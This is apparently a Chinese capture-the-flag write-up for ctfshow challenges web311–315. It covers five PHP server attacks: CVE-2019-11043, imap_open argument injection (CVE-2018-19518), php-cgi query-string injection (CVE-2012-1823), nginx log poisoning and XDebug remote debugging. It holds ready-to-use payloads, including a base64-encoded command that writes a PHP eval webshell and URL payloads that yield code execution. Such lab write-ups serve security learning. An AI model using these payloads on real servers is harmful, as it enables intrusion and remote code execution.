ctfshow phpCVE web311~315

目录

  • web311:CVE-2019-11043
    • 影响版本
    • 复现环境
    • 漏洞利用
    • 安装报错
  • web312:CVE-2018-19518
    • 影响版本
    • 漏洞简介
    • 漏洞利用
  • web313:CVE-2012-1823
    • 影响版本
    • 形成原因
    • 漏洞利用
  • web314:日志包含
    • 代码分析
    • 漏洞利用
  • web315:XDebug 远程调试漏洞
    • 利用前提
    • 利用原理
  • Reference

web311:CVE-2019-11043

影响版本

PHP 5.6-7.x
Nginx>=0.7.31
nginx配置了fastcgi_split_path_info

复现环境

需要 golang 环境

sudo apt install golang

漏洞利用

下载 exp:https://github.com/neex/phuip-fpizdam

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
执行命令换代理:go env -w GOPROXY=https://goproxy.cn
执行go get -v && go build

利用:

go run . "http://xxx.xxx.xxx.xxx/index.php"

getshell,要多执行几次。
在这里插入图片描述

安装报错

在这里插入图片描述
只需要更新一下就可以了。

sudo apt-get update

ctfshow phpCVE web311~315_第1张图片

sudo apt --fix-broken install -y

web312:CVE-2018-19518

影响版本

PHP:5.6.38
系统:Debian/ubuntu

漏洞简介

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

漏洞利用

先对 shell base64 编码 => PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=

再对 echo "PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=" | base64 -d > /var/www/html/shell.php进行一次base64编码,ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA==,若有 =或者+ 需 url 编码一次。

最后将 hostname 的内容替换为 x+-oProxyCommand%3decho%09编码后的命令|base64%09-d|sh},也就是:

x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA%3D%3D|base64%09-d|sh}

虽然报错了,但是文件已经写入。
ctfshow phpCVE web311~315_第2张图片
ctfshow phpCVE web311~315_第3张图片

web313:CVE-2012-1823

影响版本

影响版本 php < 5.3.12 or php < 5.4.2

形成原因

用户请求的querystring被作为了php-cgi的参数。

详细原理可以看P神的PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析

访问http://your-ip:8080/index.php?-s即爆出源码,说明漏洞存在。

漏洞利用

cgi模式下有如下一些参数可用:

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h和-? 显示帮助

有了这些参数,其中更是有配置项参数,也就是说我们可以配置 auto_prepend_file 来制造任意文件包含漏洞。

payload:

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input


ctfshow phpCVE web311~315_第4张图片

web314:日志包含

代码分析

过滤了冒号,也就是说伪协议不行了,那么还可以日志包含,或者利用 session.upload_progress 进行文件包含。这题可以利用日志包含。

漏洞利用

利用 User-Agent 把shell写入日志,然后再包含日志就可以了,又因为使用的是 Nginx 服务器,所以默认日志位置为 /var/log/nginx/access.log

User-Agent: 

发两次,第一次写shell进日志,第二次包含才能运行。

ctfshow phpCVE web311~315_第5张图片

web315:XDebug 远程调试漏洞

利用前提

目标开启了远程调试模式,并设置remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

利用原理

在上面的配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

详细讲解处:Xdebug: A Tiny Attack Surface

exp: https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

指定目标web地址、待执行的php代码即可:
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'

重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。

Reference

https://blog.csdn.net/qq_42880719/article/details/122513194
vulhub靶场

你可能感兴趣的:(ctfshow_web入门,phpCVE)